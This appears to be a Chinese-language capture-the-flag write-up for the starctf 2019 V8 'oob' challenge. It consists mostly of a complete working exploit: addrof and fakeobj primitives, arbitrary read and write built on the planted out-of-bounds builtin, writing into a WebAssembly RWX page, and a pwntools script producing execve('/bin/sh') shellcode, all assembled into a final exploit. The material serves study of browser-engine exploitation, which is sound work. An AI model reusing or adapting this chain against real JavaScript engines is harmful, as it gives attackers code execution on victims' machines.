1 2 3 4 5 6 7 var wasm_code = new Uint8Array ([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]);
这里复用一下之前的wasm,含义大致是导出一块 Wasm Linear Memory
main()函数return 42
1 2 3 4 5 6 7 8 9 10 11 var wasm_code = new Uint8Array ([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var rwx_page_addr = arb_read (addrof (wasm_instance)-1n +0x88n );
编译mod,实例化,导出main函数,read rwx_page_addr
这里的0x88得gdb看一下
wasm_instance = 0x2421fb1a0d31
gdb就是好用啊
copy_shellcode 1 2 3 4 5 6 7 8 9 10 function copy_shellcode (addr,shellcode ){ let abuf = new ArrayBuffer (0x100 ); let dataview = new DataView (abuf); let backing_store_addr = addrof (abuf) + 0x20n ; initial_arb_write (backing_store_addr,addr); for (let i = 0 ;i < shellcode.length ;i++){ dataview.setUint32 (4 *i,shellcode[i],true ); } }
0x20是backing store 的offset
dataview.setUint32(4*i,shellcode[i],true);,32位小端序写入
这里用pwntools生成一下shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context.clear (arch='amd64' ) context.log_level = 'error' sc = asm ("" " lea rdi, [rip + sh] xor esi, esi xor edx, edx mov eax, 59 syscall sh: .asciz " /bin/sh" " "" ) sc = sc.ljust ((len (sc) + 3 ) print ("// %d bytes" % len (sc))print ("var shellcode = [" ) words = ["0x" + sc[i :i+4 ][::-1 ].hex () for i in range (0 , len (sc), 4 )]for i in range (0 , len (words), 6 ): print (" " + ", " .join (words[i :i+6 ]) + "," )print ("];" )print (disasm (sc))
1 2 3 4 var shellcode = [ 0x0b3d8d48 , 0x31000000 , 0xb8d231f6 , 0x0000003b , 0x622f050f , 0x732f6e69 , 0x90900068 , ];
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 var buf = new ArrayBuffer (8 )var f64_buf = new Float64Array (buf)var u32_buf = new Uint32Array (buf)function ftoi (val ){ f64_buf[0 ] = val; return BigInt (u32_buf[0 ]) + (BigInt (u32_buf[1 ]) << 32n ); }function itof (val ){ u32_buf[0 ] = Number (val & 0xffffffffn ); u32_buf[1 ] = Number (val >> 32n ); return f64_buf[0 ]; }var obj = {"A" : 1 };var obj_arr = [obj];var float_arr = [1.1 ,1.2 ,1.3 ,1.4 ];var obj_arr_map = obj_arr.oob ();var float_arr_map = float_arr.oob ();function addrof (in_obj ){ obj_arr[0 ] = in_obj; obj_arr.oob (float_arr_map); let addr = obj_arr[0 ]; obj_arr.oob (obj_arr_map); return ftoi (addr); }function fakeobj (addr ){ float_arr[0 ] = itof (addr); float_arr.oob (obj_arr_map); let fake = float_arr[0 ]; float_arr.oob (float_arr_map); return fake; }var arb_rw_arr = [float_arr_map,1.2 ,1.3 ,1.4 ]; function arb_read (addr ){ if (addr%2n == 0 ) addr += 1n ; let fake = fakeobj (addrof (arb_rw_arr) - 0x20n ); arb_rw_arr[2 ] = itof (BigInt (addr) - 0x10n ); return ftoi (fake[0 ]); }function initial_arb_write (addr,val ){ let fake = fakeobj (addrof (arb_rw_arr) - 0x20n ); arb_rw_arr[2 ] = itof (BigInt (addr) - 0x10n ); fake[0 ] = itof (BigInt (val)); }var wasm_code = new Uint8Array ([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var rwx_page_addr = arb_read (addrof (wasm_instance)-1n +0x88n );function copy_shellcode (addr,shellcode ){ let abuf = new ArrayBuffer (0x100 ); let dataview = new DataView (abuf); let backing_store_addr = addrof (abuf) + 0x20n ; initial_arb_write (backing_store_addr,addr); for (let i = 0 ;i < shellcode.length ;i++){ dataview.setUint32 (4 *i,shellcode[i],true ); } }var shellcode = [ 0x0b3d8d48 , 0x31000000 , 0xb8d231f6 , 0x0000003b , 0x622f050f , 0x732f6e69 , 0x90900068 , ];copy_shellcode (rwx_page_addr, shellcode);f ();
终于出了
参考文献 从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)
Seebug漏洞平台
https://www.freebuf.com/vuls/203721.html
这个讲starctf oob质量也挺好
v8入门,好文章